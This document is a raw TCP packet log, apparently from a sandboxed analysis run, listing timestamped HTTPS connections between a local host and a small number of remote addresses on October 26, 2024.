Oct 26, 2024 13:49:36.084264994 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.380414009 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.386260033 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.386295080 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.387950897 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.387962103 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.458376884 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.459495068 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.459556103 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.460694075 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.460709095 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.515793085 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.515836954 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.515963078 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.515979052 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.516180038 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.528004885 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.528034925 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.534934998 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.534970999 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.535043001 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.535496950 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.535507917 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.566399097 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.567017078 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.567094088 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.567765951 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.567785025 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.579682112 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.580230951 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.580240965 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.580940008 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.580944061 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.587841988 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.587903976 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.588002920 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.588059902 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.588283062 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.588294983 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.593513012 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.593542099 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.593607903 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.594046116 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.594055891 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.702085972 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.702150106 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.702239037 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.702748060 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.702791929 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.708116055 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.708167076 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.708251953 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.708431959 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.708448887 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.712079048 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.712142944 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.712239027 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.712299109 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.712660074 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.712675095 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.712685108 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.712690115 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.716048956 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.716072083 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.716161966 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.716382980 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.716391087 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.824830055 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.826293945 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.826359987 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.827702999 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.827717066 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.953739882 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.953799963 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.953963995 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.954780102 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.954793930 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.954807043 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.954811096 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.961421013 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.961466074 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:36.961522102 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.962100029 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:36.962116003 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.262537956 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.263037920 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.263056993 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.263514042 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.263518095 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.347093105 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.347588062 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.347618103 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.348058939 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.348071098 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.391062975 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.391835928 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.391916037 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.392694950 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.392704964 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.400012970 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.400053978 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.400202990 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.400629044 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.400641918 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.426707983 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.427607059 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.427637100 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.428666115 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.428684950 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.447741985 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.448338032 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.448370934 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.449126959 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.449136972 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.484971046 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.485035896 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.485088110 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.485979080 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.486004114 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.486026049 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.486035109 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.491121054 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.491163969 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.491261959 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.491931915 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.491944075 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.555422068 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.555452108 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.555495024 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.555521011 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.555567026 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.556168079 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.556185961 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.556230068 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.556236029 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.560822964 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.560852051 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.560935974 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.561220884 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.561232090 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.578025103 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.578171015 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.578322887 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.579123974 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.579147100 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.579163074 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.579169989 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.584238052 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.584279060 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.584525108 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.584904909 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.584924936 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.698966026 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.700596094 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.700629950 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.702158928 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.702173948 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.830888033 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.830925941 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.830982924 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.831036091 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.831868887 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.831892967 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.836404085 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.836523056 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:37.836638927 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.836884975 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:37.836927891 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.251291990 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.252640009 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.252655983 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.254101992 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.254110098 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.259844065 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.260541916 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.260569096 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.261280060 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.261285067 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.309622049 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.310055017 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.310081005 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.310862064 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.310869932 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.314950943 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.315376043 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.315398932 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.316097975 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.316107988 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.380475998 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.380825996 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.380868912 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.380877018 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.380917072 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.381650925 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.381671906 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.385691881 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.385731936 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.385797977 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.386260986 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.386275053 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.393060923 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.393114090 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.393168926 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.393421888 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.393439054 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.393472910 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.393479109 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.402631998 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.402672052 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.402821064 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.403268099 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.403279066 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443058968 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443129063 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443301916 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.443837881 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.443851948 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443866014 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.443871021 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443887949 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.443943977 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.444133997 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.446060896 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.446070910 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.453461885 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.453480005 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.453593016 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.455879927 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.455904007 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.455986977 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.456859112 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.456871033 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.457597017 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.457608938 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.557876110 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.558437109 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.558458090 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.559036970 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.559040070 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.594327927 CEST	49711	443	192.168.2.5	212.42.78.17
Oct 26, 2024 13:49:38.594347000 CEST	443	49711	212.42.78.17	192.168.2.5
Oct 26, 2024 13:49:38.686666965 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.686741114 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.686822891 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.687117100 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.687117100 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.687170029 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.687197924 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.690723896 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.690768003 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:38.690834999 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.690999031 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:38.691011906 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.123444080 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.124000072 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.124039888 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.125466108 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.125492096 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.134799004 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.135245085 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.135271072 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.135652065 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.135656118 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.208141088 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.208719969 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.208760977 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.209465981 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.209482908 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.211153984 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.211432934 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.211461067 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.211774111 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.211786032 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.254868031 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.255042076 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.255152941 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.258816957 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.258816957 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.258846045 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.258861065 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.262070894 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.262109995 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.262224913 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.262363911 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.262381077 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.265625954 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.265690088 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.265944958 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.266010046 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.266010046 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.266042948 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.266063929 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.268438101 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.268488884 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.268574953 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.268733025 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.268744946 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.343260050 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.343348980 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.343411922 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.343595982 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.343626976 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.343697071 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.343708038 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.346460104 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.346492052 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.346537113 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.346551895 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.346662045 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.346662045 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.346694946 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.346708059 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.347343922 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.347397089 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.347632885 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.347632885 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.347682953 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.348814964 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.348869085 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.348942041 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.349076986 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.349091053 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.444166899 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.444788933 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.444820881 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.445255995 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.445264101 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.580312014 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.580843925 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.580893993 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:39.580899000 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.580954075 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:39.581068993 CEST	49969	443	192.168.2.5	13.107.246.60
